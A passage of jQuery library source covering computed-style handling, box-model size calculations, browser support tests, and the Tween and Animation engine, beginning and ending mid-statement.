; i <= last; i++ ) { elems = i === last ? this : this.clone( true ); jQuery( insert[ i ] )[ original ]( elems ); // Support: Android <=4.0 only, PhantomJS 1 only // .get() because push.apply(_, arraylike) throws on ancient WebKit push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; } ); var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); var rcustomProp = /^--/; var getStyles = function( elem ) { // Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150) // IE throws on elements created in popups // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" var view = elem.ownerDocument.defaultView; if ( !view || !view.opener ) { view = window; } return view.getComputedStyle( elem ); }; var swap = function( elem, options, callback ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.call( elem ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }; var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" ); ( function() { // Executing both pixelPosition & boxSizingReliable tests require only one layout // so they're executed at the same time to save the second computation. function computeStyleTests() { // This is a singleton, we need to execute it only once if ( !div ) { return; } container.style.cssText = "position:absolute;left:-11111px;width:60px;" + "margin-top:1px;padding:0;border:0"; div.style.cssText = "position:relative;display:block;box-sizing:border-box;overflow:scroll;" + "margin:auto;border:1px;padding:1px;" + "width:60%;top:1%"; documentElement.appendChild( container ).appendChild( div ); var divStyle = window.getComputedStyle( div ); pixelPositionVal = divStyle.top !== "1%"; // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44 reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12; // Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3 // Some styles come back with percentage values, even though they shouldn't div.style.right = "60%"; pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36; // Support: IE 9 - 11 only // Detect misreporting of content dimensions for box-sizing:border-box elements boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36; // Support: IE 9 only // Detect overflow:scroll screwiness (gh-3699) // Support: Chrome <=64 // Don't get tricked when zoom affects offsetWidth (gh-4029) div.style.position = "absolute"; scrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12; documentElement.removeChild( container ); // Nullify the div so it wouldn't be stored in the memory and // it will also be a sign that checks already performed div = null; } function roundPixelMeasures( measure ) { return Math.round( parseFloat( measure ) ); } var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal, reliableTrDimensionsVal, reliableMarginLeftVal, container = document.createElement( "div" ), div = document.createElement( "div" ); // Finish early in limited (non-browser) environments if ( !div.style ) { return; } // Support: IE <=9 - 11 only // Style of cloned element affects source element cloned (trac-8908) div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; jQuery.extend( support, { boxSizingReliable: function() { computeStyleTests(); return boxSizingReliableVal; }, pixelBoxStyles: function() { computeStyleTests(); return pixelBoxStylesVal; }, pixelPosition: function() { computeStyleTests(); return pixelPositionVal; }, reliableMarginLeft: function() { computeStyleTests(); return reliableMarginLeftVal; }, scrollboxSize: function() { computeStyleTests(); return scrollboxSizeVal; }, // Support: IE 9 - 11+, Edge 15 - 18+ // IE/Edge misreport `getComputedStyle` of table rows with width/height // set in CSS while `offset*` properties report correct values. // Behavior in IE 9 is more subtle than in newer versions & it passes // some versions of this test; make sure not to make it pass there! // // Support: Firefox 70+ // Only Firefox includes border widths // in computed dimensions. (gh-4529) reliableTrDimensions: function() { var table, tr, trChild, trStyle; if ( reliableTrDimensionsVal == null ) { table = document.createElement( "table" ); tr = document.createElement( "tr" ); trChild = document.createElement( "div" ); table.style.cssText = "position:absolute;left:-11111px;border-collapse:separate"; tr.style.cssText = "box-sizing:content-box;border:1px solid"; // Support: Chrome 86+ // Height set through cssText does not get applied. // Computed height then comes back as 0. tr.style.height = "1px"; trChild.style.height = "9px"; // Support: Android 8 Chrome 86+ // In our bodyBackground.html iframe, // display for all div elements is set to "inline", // which causes a problem only in Android 8 Chrome 86. // Ensuring the div is `display: block` // gets around this issue. trChild.style.display = "block"; documentElement .appendChild( table ) .appendChild( tr ) .appendChild( trChild ); trStyle = window.getComputedStyle( tr ); reliableTrDimensionsVal = ( parseInt( trStyle.height, 10 ) + parseInt( trStyle.borderTopWidth, 10 ) + parseInt( trStyle.borderBottomWidth, 10 ) ) === tr.offsetHeight; documentElement.removeChild( table ); } return reliableTrDimensionsVal; } } ); } )(); function curCSS( elem, name, computed ) { var width, minWidth, maxWidth, ret, isCustomProp = rcustomProp.test( name ), // Support: Firefox 51+ // Retrieving style before computed somehow // fixes an issue with getting wrong values // on detached elements style = elem.style; computed = computed || getStyles( elem ); // getPropertyValue is needed for: // .css('filter') (IE 9 only, trac-12537) // .css('--customProperty) (gh-3144) if ( computed ) { // Support: IE <=9 - 11+ // IE only supports `"float"` in `getPropertyValue`; in computed styles // it's only available as `"cssFloat"`. We no longer modify properties // sent to `.css()` apart from camelCasing, so we need to check both. // Normally, this would create difference in behavior: if // `getPropertyValue` returns an empty string, the value returned // by `.css()` would be `undefined`. This is usually the case for // disconnected elements. However, in IE even disconnected elements // with no styles return `"none"` for `getPropertyValue( "float" )` ret = computed.getPropertyValue( name ) || computed[ name ]; if ( isCustomProp && ret ) { // Support: Firefox 105+, Chrome <=105+ // Spec requires trimming whitespace for custom properties (gh-4926). // Firefox only trims leading whitespace. Chrome just collapses // both leading & trailing whitespace to a single space. // // Fall back to `undefined` if empty string returned. // This collapses a missing definition with property defined // and set to an empty string but there's no standard API // allowing us to differentiate them without a performance penalty // and returning `undefined` aligns with older jQuery. // // rtrimCSS treats U+000D CARRIAGE RETURN and U+000C FORM FEED // as whitespace while CSS does not, but this is not a problem // because CSS preprocessing replaces them with U+000A LINE FEED // (which *is* CSS whitespace) // https://www.w3.org/TR/css-syntax-3/#input-preprocessing ret = ret.replace( rtrimCSS, "$1" ) || undefined; } if ( ret === "" && !isAttached( elem ) ) { ret = jQuery.style( elem, name ); } // A tribute to the "awesome hack by Dean Edwards" // Android Browser returns percentage for some values, // but width seems to be reliably pixels. // This is against the CSSOM draft spec: // https://drafts.csswg.org/cssom/#resolved-values if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) { // Remember the original values width = style.width; minWidth = style.minWidth; maxWidth = style.maxWidth; // Put in the new values to get a computed value out style.minWidth = style.maxWidth = style.width = ret; ret = computed.width; // Revert the changed values style.width = width; style.minWidth = minWidth; style.maxWidth = maxWidth; } } return ret !== undefined ? // Support: IE <=9 - 11 only // IE returns zIndex value as an integer. ret + "" : ret; } function addGetHookIf( conditionFn, hookFn ) { // Define the hook, we'll check on the first run if it's really needed. return { get: function() { if ( conditionFn() ) { // Hook not needed (or it's not possible to use it due // to missing dependency), remove it. delete this.get; return; } // Hook needed; redefine it so that the support test is not executed again. return ( this.get = hookFn ).apply( this, arguments ); } }; } var cssPrefixes = [ "Webkit", "Moz", "ms" ], emptyStyle = document.createElement( "div" ).style, vendorProps = {}; // Return a vendor-prefixed property or undefined function vendorPropName( name ) { // Check for vendor prefixed names var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), i = cssPrefixes.length; while ( i-- ) { name = cssPrefixes[ i ] + capName; if ( name in emptyStyle ) { return name; } } } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property function finalPropName( name ) { var final = jQuery.cssProps[ name ] || vendorProps[ name ]; if ( final ) { return final; } if ( name in emptyStyle ) { return name; } return vendorProps[ name ] = vendorPropName( name ) || name; } var // Swappable if display is none or starts with table // except "table", "table-cell", or "table-caption" // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display rdisplayswap = /^(none|table(?!-c[ea]).+)/, cssShow = { position: "absolute", visibility: "hidden", display: "block" }, cssNormalTransform = { letterSpacing: "0", fontWeight: "400" }; function setPositiveNumber( _elem, value, subtract ) { // Any relative (+/-) values have already been // normalized at this point var matches = rcssNum.exec( value ); return matches ? // Guard against undefined "subtract", e.g., when used as in cssHooks Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : value; } function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) { var i = dimension === "width" ? 1 : 0, extra = 0, delta = 0, marginDelta = 0; // Adjustment may not be necessary if ( box === ( isBorderBox ? "border" : "content" ) ) { return 0; } for ( ; i < 4; i += 2 ) { // Both box models exclude margin // Count margin delta separately to only add it after scroll gutter adjustment. // This is needed to make negative margins work with `outerHeight( true )` (gh-3982). if ( box === "margin" ) { marginDelta += jQuery.css( elem, box + cssExpand[ i ], true, styles ); } // If we get here with a content-box, we're seeking "padding" or "border" or "margin" if ( !isBorderBox ) { // Add padding delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); // For "border" or "margin", add border if ( box !== "padding" ) { delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); // But still keep track of it otherwise } else { extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } // If we get here with a border-box (content + padding + border), we're seeking "content" or // "padding" or "margin" } else { // For "content", subtract padding if ( box === "content" ) { delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); } // For "content" or "padding", subtract border if ( box !== "margin" ) { delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } } // Account for positive content-box scroll gutter when requested by providing computedVal if ( !isBorderBox && computedVal >= 0 ) { // offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border // Assuming integer scroll gutter, subtract the rest and round down delta += Math.max( 0, Math.ceil( elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - computedVal - delta - extra - 0.5 // If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter // Use an explicit zero to avoid NaN (gh-3964) ) ) || 0; } return delta + marginDelta; } function getWidthOrHeight( elem, dimension, extra ) { // Start with computed style var styles = getStyles( elem ), // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322). // Fake content-box until we know it's needed to know the true value. boxSizingNeeded = !support.boxSizingReliable() || extra, isBorderBox = boxSizingNeeded && jQuery.css( elem, "boxSizing", false, styles ) === "border-box", valueIsBorderBox = isBorderBox, val = curCSS( elem, dimension, styles ), offsetProp = "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ); // Support: Firefox <=54 // Return a confounding non-pixel value or feign ignorance, as appropriate. if ( rnumnonpx.test( val ) ) { if ( !extra ) { return val; } val = "auto"; } // Support: IE 9 - 11 only // Use offsetWidth/offsetHeight for when box sizing is unreliable. // In those cases, the computed value can be trusted to be border-box. if ( ( !support.boxSizingReliable() && isBorderBox || // Support: IE 10 - 11+, Edge 15 - 18+ // IE/Edge misreport `getComputedStyle` of table rows with width/height // set in CSS while `offset*` properties report correct values. // Interestingly, in some cases IE 9 doesn't suffer from this issue. !support.reliableTrDimensions() && nodeName( elem, "tr" ) || // Fall back to offsetWidth/offsetHeight when value is "auto" // This happens for inline elements with no explicit setting (gh-3571) val === "auto" || // Support: Android <=4.1 - 4.3 only // Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602) !parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) && // Make sure the element is visible & connected elem.getClientRects().length ) { isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; // Where available, offsetWidth/offsetHeight approximate border box dimensions. // Where not available (e.g., SVG), assume unreliable box-sizing and interpret the // retrieved value as a content box dimension. valueIsBorderBox = offsetProp in elem; if ( valueIsBorderBox ) { val = elem[ offsetProp ]; } } // Normalize "" and auto val = parseFloat( val ) || 0; // Adjust for the element's box model return ( val + boxModelAdjustment( elem, dimension, extra || ( isBorderBox ? "border" : "content" ), valueIsBorderBox, styles, // Provide the current computed size to request scroll gutter calculation (gh-3589) val ) ) + "px"; } jQuery.extend( { // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity" ); return ret === "" ? "1" : ret; } } } }, // Don't automatically add "px" to these possibly-unitless properties cssNumber: { animationIterationCount: true, aspectRatio: true, borderImageSlice: true, columnCount: true, flexGrow: true, flexShrink: true, fontWeight: true, gridArea: true, gridColumn: true, gridColumnEnd: true, gridColumnStart: true, gridRow: true, gridRowEnd: true, gridRowStart: true, lineHeight: true, opacity: true, order: true, orphans: true, scale: true, widows: true, zIndex: true, zoom: true, // SVG-related fillOpacity: true, floodOpacity: true, stopOpacity: true, strokeMiterlimit: true, strokeOpacity: true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: {}, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, type, hooks, origName = camelCase( name ), isCustomProp = rcustomProp.test( name ), style = elem.style; // Make sure that we're working with the right name. We don't // want to query the value if it is a CSS custom property // since they are user-defined. if ( !isCustomProp ) { name = finalPropName( origName ); } // Gets hook for the prefixed version, then unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // Check if we're setting a value if ( value !== undefined ) { type = typeof value; // Convert "+=" or "-=" to relative numbers (trac-7345) if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { value = adjustCSS( elem, name, ret ); // Fixes bug trac-9237 type = "number"; } // Make sure that null and NaN values aren't set (trac-7116) if ( value == null || value !== value ) { return; } // If a number was passed in, add the unit (except for certain CSS properties) // The isCustomProp check can be removed in jQuery 4.0 when we only auto-append // "px" to a few hardcoded values. if ( type === "number" && !isCustomProp ) { value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); } // background-* props affect original clone's values if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { style[ name ] = "inherit"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !( "set" in hooks ) || ( value = hooks.set( elem, value, extra ) ) !== undefined ) { if ( isCustomProp ) { style.setProperty( name, value ); } else { style[ name ] = value; } } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra, styles ) { var val, num, hooks, origName = camelCase( name ), isCustomProp = rcustomProp.test( name ); // Make sure that we're working with the right name. We don't // want to modify the value if it is a CSS custom property // since they are user-defined. if ( !isCustomProp ) { name = finalPropName( origName ); } // Try prefixed name followed by the unprefixed name hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks ) { val = hooks.get( elem, true, extra ); } // Otherwise, if a way to get the computed value exists, use that if ( val === undefined ) { val = curCSS( elem, name, styles ); } // Convert "normal" to computed value if ( val === "normal" && name in cssNormalTransform ) { val = cssNormalTransform[ name ]; } // Make numeric if forced or a qualifier was provided and val looks numeric if ( extra === "" || extra ) { num = parseFloat( val ); return extra === true || isFinite( num ) ? num || 0 : val; } return val; } } ); jQuery.each( [ "height", "width" ], function( _i, dimension ) { jQuery.cssHooks[ dimension ] = { get: function( elem, computed, extra ) { if ( computed ) { // Certain elements can have dimension info if we invisibly show them // but it must have a current display style that would benefit return rdisplayswap.test( jQuery.css( elem, "display" ) ) && // Support: Safari 8+ // Table columns in Safari have non-zero offsetWidth & zero // getBoundingClientRect().width unless display is changed. // Support: IE <=11 only // Running getBoundingClientRect on a disconnected node // in IE throws an error. ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ? swap( elem, cssShow, function() { return getWidthOrHeight( elem, dimension, extra ); } ) : getWidthOrHeight( elem, dimension, extra ); } }, set: function( elem, value, extra ) { var matches, styles = getStyles( elem ), // Only read styles.position if the test has a chance to fail // to avoid forcing a reflow. scrollboxSizeBuggy = !support.scrollboxSize() && styles.position === "absolute", // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991) boxSizingNeeded = scrollboxSizeBuggy || extra, isBorderBox = boxSizingNeeded && jQuery.css( elem, "boxSizing", false, styles ) === "border-box", subtract = extra ? boxModelAdjustment( elem, dimension, extra, isBorderBox, styles ) : 0; // Account for unreliable border-box dimensions by comparing offset* to computed and // faking a content-box to get border and padding (gh-3699) if ( isBorderBox && scrollboxSizeBuggy ) { subtract -= Math.ceil( elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - parseFloat( styles[ dimension ] ) - boxModelAdjustment( elem, dimension, "border", false, styles ) - 0.5 ); } // Convert to pixels if value adjustment is needed if ( subtract && ( matches = rcssNum.exec( value ) ) && ( matches[ 3 ] || "px" ) !== "px" ) { elem.style[ dimension ] = value; value = jQuery.css( elem, dimension ); } return setPositiveNumber( elem, value, subtract ); } }; } ); jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, function( elem, computed ) { if ( computed ) { return ( parseFloat( curCSS( elem, "marginLeft" ) ) || elem.getBoundingClientRect().left - swap( elem, { marginLeft: 0 }, function() { return elem.getBoundingClientRect().left; } ) ) + "px"; } } ); // These hooks are used by animate to expand properties jQuery.each( { margin: "", padding: "", border: "Width" }, function( prefix, suffix ) { jQuery.cssHooks[ prefix + suffix ] = { expand: function( value ) { var i = 0, expanded = {}, // Assumes a single number if not a string parts = typeof value === "string" ? value.split( " " ) : [ value ]; for ( ; i < 4; i++ ) { expanded[ prefix + cssExpand[ i ] + suffix ] = parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; } return expanded; } }; if ( prefix !== "margin" ) { jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; } } ); jQuery.fn.extend( { css: function( name, value ) { return access( this, function( elem, name, value ) { var styles, len, map = {}, i = 0; if ( Array.isArray( name ) ) { styles = getStyles( elem ); len = name.length; for ( ; i < len; i++ ) { map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); } return map; } return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }, name, value, arguments.length > 1 ); } } ); function Tween( elem, options, prop, end, easing ) { return new Tween.prototype.init( elem, options, prop, end, easing ); } jQuery.Tween = Tween; Tween.prototype = { constructor: Tween, init: function( elem, options, prop, end, easing, unit ) { this.elem = elem; this.prop = prop; this.easing = easing || jQuery.easing._default; this.options = options; this.start = this.now = this.cur(); this.end = end; this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); }, cur: function() { var hooks = Tween.propHooks[ this.prop ]; return hooks && hooks.get ? hooks.get( this ) : Tween.propHooks._default.get( this ); }, run: function( percent ) { var eased, hooks = Tween.propHooks[ this.prop ]; if ( this.options.duration ) { this.pos = eased = jQuery.easing[ this.easing ]( percent, this.options.duration * percent, 0, 1, this.options.duration ); } else { this.pos = eased = percent; } this.now = ( this.end - this.start ) * eased + this.start; if ( this.options.step ) { this.options.step.call( this.elem, this.now, this ); } if ( hooks && hooks.set ) { hooks.set( this ); } else { Tween.propHooks._default.set( this ); } return this; } }; Tween.prototype.init.prototype = Tween.prototype; Tween.propHooks = { _default: { get: function( tween ) { var result; // Use a property on the element directly when it is not a DOM element, // or when there is no matching style property that exists. if ( tween.elem.nodeType !== 1 || tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { return tween.elem[ tween.prop ]; } // Passing an empty string as a 3rd parameter to .css will automatically // attempt a parseFloat and fallback to a string if the parse fails. // Simple values such as "10px" are parsed to Float; // complex values such as "rotate(1rad)" are returned as-is. result = jQuery.css( tween.elem, tween.prop, "" ); // Empty strings, null, undefined and "auto" are converted to 0. return !result || result === "auto" ? 0 : result; }, set: function( tween ) { // Use step hook for back compat. // Use cssHook if its there. // Use .style if available and use plain properties where available. if ( jQuery.fx.step[ tween.prop ] ) { jQuery.fx.step[ tween.prop ]( tween ); } else if ( tween.elem.nodeType === 1 && ( jQuery.cssHooks[ tween.prop ] || tween.elem.style[ finalPropName( tween.prop ) ] != null ) ) { jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); } else { tween.elem[ tween.prop ] = tween.now; } } } }; // Support: IE <=9 only // Panic based approach to setting things on disconnected nodes Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { set: function( tween ) { if ( tween.elem.nodeType && tween.elem.parentNode ) { tween.elem[ tween.prop ] = tween.now; } } }; jQuery.easing = { linear: function( p ) { return p; }, swing: function( p ) { return 0.5 - Math.cos( p * Math.PI ) / 2; }, _default: "swing" }; jQuery.fx = Tween.prototype.init; // Back compat <1.8 extension point jQuery.fx.step = {}; var fxNow, inProgress, rfxtypes = /^(?:toggle|show|hide)$/, rrun = /queueHooks$/; function schedule() { if ( inProgress ) { if ( document.hidden === false && window.requestAnimationFrame ) { window.requestAnimationFrame( schedule ); } else { window.setTimeout( schedule, jQuery.fx.interval ); } jQuery.fx.tick(); } } // Animations created synchronously will run synchronously function createFxNow() { window.setTimeout( function() { fxNow = undefined; } ); return ( fxNow = Date.now() ); } // Generate parameters to create a standard animation function genFx( type, includeWidth ) { var which, i = 0, attrs = { height: type }; // If we include width, step value is 1 to do all cssExpand values, // otherwise step value is 2 to skip over Left and Right includeWidth = includeWidth ? 1 : 0; for ( ; i < 4; i += 2 - includeWidth ) { which = cssExpand[ i ]; attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; } if ( includeWidth ) { attrs.opacity = attrs.width = type; } return attrs; } function createTween( value, prop, animation ) { var tween, collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), index = 0, length = collection.length; for ( ; index < length; index++ ) { if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { // We're done with this property return tween; } } } function defaultPrefilter( elem, props, opts ) { var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display, isBox = "width" in props || "height" in props, anim = this, orig = {}, style = elem.style, hidden = elem.nodeType && isHiddenWithinTree( elem ), dataShow = dataPriv.get( elem, "fxshow" ); // Queue-skipping animations hijack the fx hooks if ( !opts.queue ) { hooks = jQuery._queueHooks( elem, "fx" ); if ( hooks.unqueued == null ) { hooks.unqueued = 0; oldfire = hooks.empty.fire; hooks.empty.fire = function() { if ( !hooks.unqueued ) { oldfire(); } }; } hooks.unqueued++; anim.always( function() { // Ensure the complete handler is called before this completes anim.always( function() { hooks.unqueued--; if ( !jQuery.queue( elem, "fx" ).length ) { hooks.empty.fire(); } } ); } ); } // Detect show/hide animations for ( prop in props ) { value = props[ prop ]; if ( rfxtypes.test( value ) ) { delete props[ prop ]; toggle = toggle || value === "toggle"; if ( value === ( hidden ? "hide" : "show" ) ) { // Pretend to be hidden if this is a "show" and // there is still data from a stopped show/hide if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { hidden = true; // Ignore all other no-op show/hide data } else { continue; } } orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); } } // Bail out if this is a no-op like .hide().hide() propTween = !jQuery.isEmptyObject( props ); if ( !propTween && jQuery.isEmptyObject( orig ) ) { return; } // Restrict "overflow" and "display" styles during box animations if ( isBox && elem.nodeType === 1 ) { // Support: IE <=9 - 11, Edge 12 - 15 // Record all 3 overflow attributes because IE does not infer the shorthand // from identically-valued overflowX and overflowY and Edge just mirrors // the overflowX value there. opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; // Identify a display type, preferring old show/hide data over the CSS cascade restoreDisplay = dataShow && dataShow.display; if ( restoreDisplay == null ) { restoreDisplay = dataPriv.get( elem, "display" ); } display = jQuery.css( elem, "display" ); if ( display === "none" ) { if ( restoreDisplay ) { display = restoreDisplay; } else { // Get nonempty value(s) by temporarily forcing visibility showHide( [ elem ], true ); restoreDisplay = elem.style.display || restoreDisplay; display = jQuery.css( elem, "display" ); showHide( [ elem ] ); } } // Animate inline elements as inline-block if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) { if ( jQuery.css( elem, "float" ) === "none" ) { // Restore the original display value at the end of pure show/hide animations if ( !propTween ) { anim.done( function() { style.display = restoreDisplay; } ); if ( restoreDisplay == null ) { display = style.display; restoreDisplay = display === "none" ? "" : display; } } style.display = "inline-block"; } } } if ( opts.overflow ) { style.overflow = "hidden"; anim.always( function() { style.overflow = opts.overflow[ 0 ]; style.overflowX = opts.overflow[ 1 ]; style.overflowY = opts.overflow[ 2 ]; } ); } // Implement show/hide animations propTween = false; for ( prop in orig ) { // General show/hide setup for this element animation if ( !propTween ) { if ( dataShow ) { if ( "hidden" in dataShow ) { hidden = dataShow.hidden; } } else { dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } ); } // Store hidden/visible for toggle so `.stop().toggle()` "reverses" if ( toggle ) { dataShow.hidden = !hidden; } // Show elements before animating them if ( hidden ) { showHide( [ elem ], true ); } /* eslint-disable no-loop-func */ anim.done( function() { /* eslint-enable no-loop-func */ // The final step of a "hide" animation is actually hiding the element if ( !hidden ) { showHide( [ elem ] ); } dataPriv.remove( elem, "fxshow" ); for ( prop in orig ) { jQuery.style( elem, prop, orig[ prop ] ); } } ); } // Per-property setup propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); if ( !( prop in dataShow ) ) { dataShow[ prop ] = propTween.start; if ( hidden ) { propTween.end = propTween.start; propTween.start = 0; } } } } function propFilter( props, specialEasing ) { var index, name, easing, value, hooks; // camelCase, specialEasing and expand cssHook pass for ( index in props ) { name = camelCase( index ); easing = specialEasing[ name ]; value = props[ index ]; if ( Array.isArray( value ) ) { easing = value[ 1 ]; value = props[ index ] = value[ 0 ]; } if ( index !== name ) { props[ name ] = value; delete props[ index ]; } hooks = jQuery.cssHooks[ name ]; if ( hooks && "expand" in hooks ) { value = hooks.expand( value ); delete props[ name ]; // Not quite $.extend, this won't overwrite existing keys. // Reusing 'index' because we have the correct "name" for ( index in value ) { if ( !( index in props ) ) { props[ index ] = value[ index ]; specialEasing[ index ] = easing; } } } else { specialEasing[ name ] = easing; } } } function Animation( elem, properties, options ) { var result, stopped, index = 0, length = Animation.prefilters.length, deferred = jQuery.Deferred().always( function() { // Don't match elem in the :animated selector delete tick.elem; } ), tick = function() { if ( stopped ) { return false; } var currentTime = fxNow || createFxNow(), remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), // Support: Android 2.3 only // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (trac-12497) temp = remaining / animation.duration || 0, percent = 1 - temp, index = 0, length = animation.tweens.length; for ( ; index < length; index++ ) { animation.tweens[ index ].run( percent ); } deferred.notifyWith( elem, [ animation, percent, remaining ] ); // If there's more to do, yield if ( percent < 1 && length ) { return remaining; } // If this was an empty animation, synthesize a final progress notification if ( !length ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); } // Resolve the animation and report its conclusion deferred.resolveWith( elem, [ animation ] ); return false; }, animation = deferred.promise( { elem: elem, props: jQuery.extend( {}, properties ), opts: jQuery.extend( true, { specialEasing: {}, easing: jQuery.easing._default }, options ), originalProperties: properties, originalOptions: options, startTime: fxNow || createFxNow(), duration: options.duration, tweens: [], createTween: function( prop, end ) { var tween = jQuery.Tween( elem, animation.opts, prop, end, animation.opts.specialEasing[ prop ] || animation.opts.easing ); animation.tweens.push( tween ); return tween; }, stop: function( gotoEnd ) { var index = 0, // If we are going to the end, we want to run all the tweens // otherwise we skip this part length = gotoEnd ? animation.tweens.length : 0; if ( stopped ) { return this; } stopped = true; for ( ; index < length; index++ ) { animation.tweens[ index ].run( 1 ); } // Resolve when we played the last frame; otherwise, reject if ( gotoEnd ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); deferred.resolveWith( elem, [ animation, gotoEnd ] ); } else { deferred.rejectWith( elem, [ animation, gotoEnd ] ); } return this; } } ), props = animation.props; propFilter( props, animation.opts.specialEasing ); for ( ; index < length; index++ ) { result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); if ( result ) { if ( isFunction( result.stop ) ) { jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = result.stop.bind( result ); } return result; } } jQuery.map( props, createTween, animation ); if ( isFunction( animation.opts.start ) ) { animation.opts.start.call( elem, animation ); } // Attach callbacks from options animation .progress( animation.opts.progress ) .done( animation.opts.done, animation.opts.complete ) .fail( animation.opts.fail ) .always( animation.opts.always ); jQuery.fx.timer( jQuery.extend( tick, { elem: elem, anim: animation, queue: animation.opts.queue } ) ); return animation; } jQuery.Animation = jQuery.extend( Animation, { tweeners: { "*": [ function( prop, value ) { var tween = this.createTween( prop, value ); adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); return tween; } ] }, tweener: function( props, callback ) { if ( isFunction( props ) ) { callback = props; props = [ "*" ]; } else { props = props.match( rnothtmlwhite ); } var prop, index = 0, length = props.length; for ( ; index < length; index++ ) { prop = props[ index ]; Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; Animation.tweeners[ prop ].unshift( callback ); } }, prefilters: [ defaultPrefilter ], prefilter: function( callback, prepend ) { if ( prepend ) { Animation.prefilters.unshift( callback ); } else { Animation.prefilters.push( callback ); } } } ); jQuery.speed = function( speed, easing, fn ) { var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { complete: fn || !fn && easing || isFunction( speed ) && speed, duration: speed, easing: fn && easing || easing && !isFunction( easing ) && easing }; // Go to the end state if fx are off if ( jQuery.fx.off ) { opt.duration = 0; } else { if ( typeof opt.duration !== "number" ) { if ( opt.duration in jQuery.fx.speeds ) { opt.duration = jQuery.fx.speeds[ opt.duration ]; } else { opt.duration = jQuery.fx.speeds._default; } } } // Normalize opt.queue - true/undefined/null -> "fx" if ( opt.queue == null || 